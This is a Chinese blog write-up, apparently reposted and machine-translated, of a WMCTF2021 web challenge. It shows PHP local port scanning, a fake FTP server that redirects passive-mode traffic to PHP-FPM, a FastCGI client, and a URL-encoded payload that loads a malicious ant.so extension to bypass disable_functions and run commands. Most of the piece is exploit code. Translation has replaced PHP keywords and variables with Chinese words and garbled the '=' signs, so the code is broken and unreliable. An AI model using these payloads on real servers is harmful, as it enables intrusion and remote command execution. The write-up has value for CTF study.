前言

这也是很久以前WMCTF2021的一个Web话题。当时没有头绪,后来也没有再出现。今晚我从赵总的博客中学到了很多东西。这篇文章只是跟着赵的博客一波转载,记录下来,仅此而已。

主题环境

题目本身是给shell的,但是有很多限制,包括disable_functions,open_basedir,flag文件是700等。

并且没有出网,流量被nginx转发到内网。

考虑到是 nginx + PHP FPM,正常情况下想到用 FTP 被动模式攻击 FPM 来恶意加载 so,导致 disable_functions 绕过。但是,之前的目标是在网络之外。这里没有出网,导致了姿势的变化。需要使用PHP在目标本地启动一个FTP,将流量转发到FPM来实现攻击。

信息采集

这也是我第一次见到你。我从来不知道只有一个 phpinfo 可以收集 disable_functions 等等。原来也可以是这样的:

var_dump(get_cfg_var("禁用_functions"));

var_dump(get_cfg_var("open_basedir"));

var_dump(ini_get_all());

我们可以收集到相应的信息,发现ban丢失了很多东西,Curl和Socket Client都不能用了。所以我们只能想办法使用FTP的被动模式。

然后,想办法知道FPM所在的端口。

这里也学习了一波php扫描本地开放端口的姿势:

for($iu003d0;$i<65535;$i++) {

$tu003dstream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);

if($ee2 u003du003du003d "地址已被使用") {

var_dump($i);

}

}

for($iu003d0;$i<65535;$i++) {

$tu003dfile_get_contents('http://127.0.0.1:'.$i);

if(!strpos(error_get_last()['message'], "连接被拒绝")) {

var_dump($i);

}

}

学习了,学习了。

扫描内网后,我们知道FPM在11415端口,下一步就是进一步利用它。

PHP的FTP服务器

使用Ph0t1n1a的Payload,用起来很舒服(笑):

$socket u003d 流_socket_server("tcp://0.0.0.0:46819", $errno, $errstr);

if (!$socket) {

echo "$errstr ($errno)<br />\n";

} 其他 {

而 ($conn u003d 流_socket_accept($socket)) {

fwrite($conn, "210 假 FTP\n");

$line u003d fgets($conn);

回声 $line; // 用户

fwrite($conn, "230 登录成功\n");

$line u003d fgets($conn);

回声 $line; // 类型

fwrite($conn, "200 xx\n");

$line u003d fgets($conn);

回声 $line; // 尺寸

fwrite($conn, "550 xx\n");

$line u003d fgets($conn);

回声 $line; // EPSV

fwrite($conn, "500 wtf\n");

$line u003d fgets($conn);

回声 $line; // PASV

// $ip u003d '192.168.1.4';

$ip u003d '127.0.0.1';

$端口 u003d 11451;

$porth u003d 楼层($port / 256);

$portl u003d $port % 256;

fwrite($conn, "227 进入被动模式。".str_replace('.',',',$ip).",$porth,$portl\n");

$line u003d fgets($conn);

回声 $line; // 店铺

fwrite($conn, "125 GOGOGO!\n");

睡眠(1);

fwrite($conn, "226 谢谢!\n");

fclose($conn);

}

fclose($socket);

}

要加载的恶意so也来自其他团队。按照蚁剑妖这么修改,当然像蓝帽子一样写个c编译一下也是正常的。但这也像是向别人学习的so(也很舒服hhh)。

生成的payload是一样的:

<?php

类 FCGIClient

{

常量版本_1 u003d 1;

常量开始_REQUEST u003d 1;

常量中止_REQUEST u003d 2;

常量 END_REQUEST u003d 3;

常量参数 u003d 4;

常量标准输入 u003d 5;

常量标准输出 u003d 6;

常量 STDERR u003d 7;

常量数据 u003d 8;

常量 GET_VALUES u003d 9;

常量 GET_VALUES_RESULT u003d 10;

常量未知_TYPE u003d 11;

常量 MAXTYPE u003d self::UNKNOWN_TYPE;

常量响应 u003d 1;

常量授权者 u003d 2;

常量过滤器 u003d 3;

常量请求_COMPLETE u003d 0;

常量 CANT_MPX_CONN u003d 1;

常量过载 u003d 2;

常量未知_角色 u003d 3;

常量 MAX_CONNS u003d 'MAX_CONNS';

常量 MAX_REQS u003d 'MAX_REQS';

常量 MPXS_CONNS u003d 'MPXS_CONNS';

常量头_LEN u003d 8;

/**

* 套接字

* @var 资源

*/

私人 $_sock u003d null;

/**

* 主机

* @var 字符串

*/

私人 $_host u003d null;

/**

* 端口

* @var 整数

*/

私人 $_port u003d null;

/**

* 保持活力

* @var 布尔值

*/

私人 $_keepAlive u003d 假;

/**

* 构造函数

*

* @param String $host FastCGI 应用程序的主机

* @param Integer $port FastCGI 应用程序的端口

*/

public function __construct($host, $port u003d 9000) // 和端口的默认值,仅适用于 unixdomain 套接字

{

$this->_host u003d $host;

$this->_port u003d $port;

}

/**

* 定义 FastCGI 应用程序是否应该保持连接

* 在请求结束时存活

*

* @param Boolean $b 如果连接应该保持活动状态,则为 true,否则为 false

*/

公共函数 setKeepAlive($b)

{

$this->_keepAlive u003d (boolean)$b;

if (!$this->_keepAlive && $this->_sock) {

fclose($this->_sock);

}

}

/**

* 获取存活状态

*

* @return Boolean 如果连接应该保持活动状态,则为 true,否则为 false

*/

公共函数 getKeepAlive()

{

返回 $this->_keepAlive;

}

/**

* 创建到 FastCGI 应用程序的连接

*/

私有函数连接()

{

if (!$this->_sock) {

//$this->_sock u003d fsockopen($this->_host, $this->_port, $errno, $errstr, 5);

$this->_sock u003d 流_socket_client($this->_host, $errno, $errstr, 5);

if (!$this->_sock) {

throw new Exception('无法连接到 FastCGI 应用程序');

}

}

}

/**

* 构建一个 FastCGI 数据包

*

* @param Integer $type 数据包类型

* @param String $content 包的内容

* @param 整数 $requestId RequestId

*/

私有函数 buildPacket($type, $content, $requestId u003d 1)

{

$clen u003d strlen($content);

返回 chr(self::VERSION_1) /* 版本 */

。 chr($type) /* 类型 */

。 chr(($requestId >> 8) & 0xFF) /* requestIdB1 */

。 chr($requestId & 0xFF) /* requestIdB0 */

。 chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */

。 chr($clen & 0xFF) /* contentLengthB0 */

。 chr(0) /* 填充长度 */

。 chr(0) /* 保留 */

。 $内容; /* 内容 */

}

/**

* 构建一个 FastCGI 名称值对

*

* @param String $name 名称

* @param String $value 值

* @return String FastCGI 名称值对

*/

私有函数 buildNvpair($name, $value)

{

$nlen u003d strlen($name);

$value u003d strlen($value);

如果 ($nlen < 128) {

/* 名称长度B0 */

$nvpair u003d chr($nlen);

} 其他 {

/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */

$nvpair u003d chr(($nlen >> 24) | 0x80) 。 chr(($nlen >> 16) & 0xFF) 。 chr(($nlen >> 8) & 0xFF) 。 chr($nlen & 0xFF);

}

if ($value < 128) {

/* valueLengthB0 */

$nvpair .u003d chr($vlen);

} 其他 {

/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */

$nvpair .u003d chr(($value >> 24) | 0x80) 。 chr(($value >> 16) & 0xFF) 。 chr(($value >> 8) & 0xFF) 。 chr($值 & 0xFF);

}

/* 姓名和权限 */

返回 $nvpair 。 $名称。 $价值;

}

/**

* 读取一组 FastCGI 名称值对

*

* @param String $data 包含一组 FastCGI NVPair 的数据

* @return NVPair 数组

*/

私有函数 readNvpair($data, $length u003d null)

{

$数组 u003d 数组();

if ($length u003du003du003d null) {

$length u003d strlen($data);

}

$p u003d 0;

while ($p !u003d $length) {

$nlen u003d 单词($data{$p++});

如果 ($nlen >u003d 128) {

$nlen u003d ($nlen & 0x7F << 24);

$nlen |u003d (word($data{$p++}) << 16);

$nlen |u003d (字($data{$p++}) << 8);

$nlen |u003d (字($data{$p++}));

}

$vlen u003d word($data{$p++});

if ($value >u003d 128) {

$value u003d ($nlen & 0x7F << 24);

$vlen |u003d (word($data{$p++}) << 16);

$vlen |u003d (word($data{$p++}) << 8);

$vlen |u003d (字($data{$p++}));

}

$array[substr($data, $p, $nlen)] u003d substr($data, $p+$nlen, $vlen);

$p +u003d ($nlen + $value);

}

返回$数组;

}

/**

* 解码一个 FastCGI 数据包

*

* @param String $data 包含所有数据包的字符串

* @return 数组

*/

私有函数 decodePacketHeader($data)

{

$ret u003d 数组();

$ret['version'] u003d word($data{0});

$ret['type'] u003d ord($data{1});

$ret['requestId'] u003d (ord($data{2}) << 8) + ord($data{3});

$ret['contentLength'] u003d (ord($data{4}) << 8) + ord($data{5});

$ret['paddingLength'] u003d ord($data{6});

$ret['保留'] u003d ord($data{7});

返回 $ret;

}

/**

* 读取一个 FastCGI 数据包

*

* @return 数组

*/

私有函数 readPacket()

{

if ($packet u003d fread($this->_sock, self::HEADER_LEN)) {

$resp u003d $this->decodePacketHeader($packet);

$resp['内容'] u003d '';

if ($resp['contentLength']) {

$len u003d $resp['contentLength'];

while ($len && $bufu003dfread($this->_sock, $len)) {

$len -u003d strlen($buf);

$resp['内容'] .u003d $buf;

}

}

if ($resp['paddingLength']) {

$bufu003dfread($this->_sock, $resp['paddingLength']);

}

返回 $resp;

} 其他 {

返回假;

}

}

/**

* 获取有关 FastCGI 应用程序的信息

*

* @param array $requestedInfo 要检索的信息

* @return 数组

*/

公共函数获取值(数组 $requested 信息)

{

$this->connect();

$请求 u003d '';

foreach ($requestedInfo 作为 $info) {

$request .u003d $this->buildNvpair($info, '');

}

fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

$resp u003d $this->readPacket();

if ($resp['type'] u003du003d self::GET_VALUES_RESULT) {

return $this->readNvpair($resp['content'], $resp['length']);

} 其他 {

throw new Exception('意外的响应类型,期待 GET_VALUES_RESULT');

}

}

/**

* 执行对 FastCGI 应用程序的请求

*

* @param array $params 参数数组

* @param String $stdin 内容

* @return 字符串

*/

公共函数请求(数组 $params,$stdin)

{

$响应 u003d '';

// $this->connect();

$request u003d $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0 ), 5));

$paramsRequest u003d '';

foreach ($params as $key u003d> $value) {

$paramsRequest .u003d $this->buildNvpair($key, $value);

}

if ($paramsRequest) {

$request .u003d $this->buildPacket(self::PARAMS, $paramsRequest);

}

$request .u003d $this->buildPacket(self::PARAMS, '');

if ($stdin) {

$request .u003d $this->buildPacket(self::STDIN, $stdin);

}

$request .u003d $this->buildPacket(self::STDIN, '');

// 输出构造的请求

返回 (urlencode($request));

}

}

// php5

// 如果ssrf生成payload,这里没关系

$client u003d new FCGIClient("unix:///var/run/php-fpm.sock", -1);

$SCRIPT_FILENAME u003d '/var/www/html/index.php';

$SCRIPT_NAME u003d '/'.basename($SCRIPT_FILENAME);

// 获取参数

$REQUEST_URI u003d $SCRIPT_NAME;

// POST 参数

$内容u003d'';

// 设置 php_value 利用 php://input 执行代码

// $PHP_ADMIN_VALUE u003d "允许_url_includeu003dOn\nopen_basediru003d/\nauto_prepend_fileu003dphp://input";

// 设置php_value 加载恶意so文件并将so文件上传到/var/www/html或其他目录

$PHP_ADMIN_VALUE u003d "扩展_dir u003d /tmp\nextension u003d ant.so\n";

$res u003d $client->request(

数组(

'GATEWAY_INTERFACE' u003d> 'FastCGI/1.0',

'REQUEST_METHOD' u003d> 'POST',

'SCRIPT_FILENAME' u003d> $SCRIPT_FILENAME,

'SCRIPT_NAME' u003d> $SCRIPT_NAME,

'REQUEST_URI' u003d> $REQUEST_URI,

'PHP_ADMIN_VALUE' u003d> $PHP_ADMIN_VALUE,

'SERVER_SOFTWARE' u003d> 'php/fastcgi 客户端',

'REMOTE_ADDR' u003d> '127.0.0.1',

'远程_PORT' u003d> '9985',

'SERVER_ADDR' u003d> '127.0.0.1',

'SERVER_PORT' u003d> '80',

'服务器\名称' u003d> '本地主机',

'服务器_协议' u003d> 'HTTP/1.1',

'内容\类型' u003d> '应用程序/x-www-form-urlencoded',

'内容_长度' u003d> strlen($content),

),

$内容

);

// 这次不用再编码了

echo(str_replace("%2B", "+", ($res)));

将生成的有效载荷放入:

$payloadu003durldecode('%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01% 9E%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0B%0ASCRIPT_NAME%2Findex.php%0B% 0AREQUEST_URI%2Findex.php%0F%28PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+aant.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1% 0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form- urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00');

文件_put_contents('ftp://127.0.0.1:46819/aaa',$payload);

下一步就是上传这个ant.so,也是跟赵总学的。精彩的!

将恶意so上传到/tmp/ant.so后,就可以开始攻击了。

先启动上面的FTP服务器:

(POST 数据是执行 FTP 的 PHP 代码)

然后发送有效载荷:

这样,ant.so就加载成功了。 Ant.so 用于调用 antsystem("qwq");写入文件/tmp/xxxxxx的命令会被执行,然后将结果写入/tmp/yyyyyy:

Logo

开发云社区提供前沿行业资讯和优质的学习知识,同时提供优质稳定、价格优惠的云主机、数据库、网络、云储存等云服务产品

更多推荐